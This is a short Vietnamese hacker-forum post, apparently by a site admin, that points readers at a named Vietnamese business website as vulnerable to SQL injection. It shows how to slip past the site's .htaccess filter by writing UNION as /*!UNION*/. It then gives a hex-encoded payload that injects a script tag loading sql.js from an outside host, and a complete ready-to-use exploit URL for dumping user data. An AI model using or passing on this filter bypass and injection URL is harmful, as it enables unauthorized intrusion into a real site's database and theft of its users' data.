Một site lỗi SQL cho anh em

[Admin]

Site bị lỗi : http://www.maybodam.vn/vn
nhưng site này bạn sẽ ko thể get giống như tut trên được . nó bị chặn vởi file htaccess giờ ta phải làm sao cho nó ko chặn
Lúc get lỗi thường bạn gõ lệnh : UNION SELECT
nhưng giờ nó chặn nên ta sẽ gõ là /*!UNION*/ SELECT
Đảm bảo ko bị chặn. link cho ae
http://www.maybodam.vn/vn/?frame=product&p=-504
Các bạn dùng javascrip sẽ ko mất công trong việc get tay nữa. chỉ cần thêm đoạn
group_concat((0x3c736372697074207372633d27687474703a2f2f7777772e6330792e74762f73716c2e6a73273e3c2f7363726970743e))volcano
vào số number bị lỗi và cuối site bạn điền -- - là nó có thể vào dc data, khi đó bạn có thể xem user bình thường
Demo :

http://www.maybodam.vn/vn/?frame=product&p=-504%20/*!UNION*/%20SELECT%201,2,group_concat%28%280x3c736372697074207372633d27687474703a2f2f7777772e6330792e74762f73716c2e6a73273e3c2f7363726970743e%29%29volcano,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--%20-